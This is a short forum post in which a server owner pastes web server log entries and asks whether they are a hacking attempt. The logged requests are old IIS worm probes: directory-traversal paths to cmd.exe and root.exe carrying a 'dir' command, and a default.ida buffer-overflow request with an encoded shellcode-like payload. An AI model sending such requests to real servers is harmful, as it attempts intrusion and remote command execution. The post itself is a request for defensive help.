My Server being hacked

I have been Monitoring My server Logs And I have Came Across Strange URLS ? Can some one Tell me is it a Hacking Attempt? what can I do for Prevention

Like
/scripts/root.exe /c+dir 404 -
GET /MSADC/root.exe /c+dir 404 -
GET /c/winnt/system32/cmd.exe /c+dir 404 -
GET /d/winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
GET /winnt/system32/cmd.exe /c+dir 404 -
GET /winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 -
GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 404 -
GET /scripts/root.exe /c+dir 404 -

 

 

 

 

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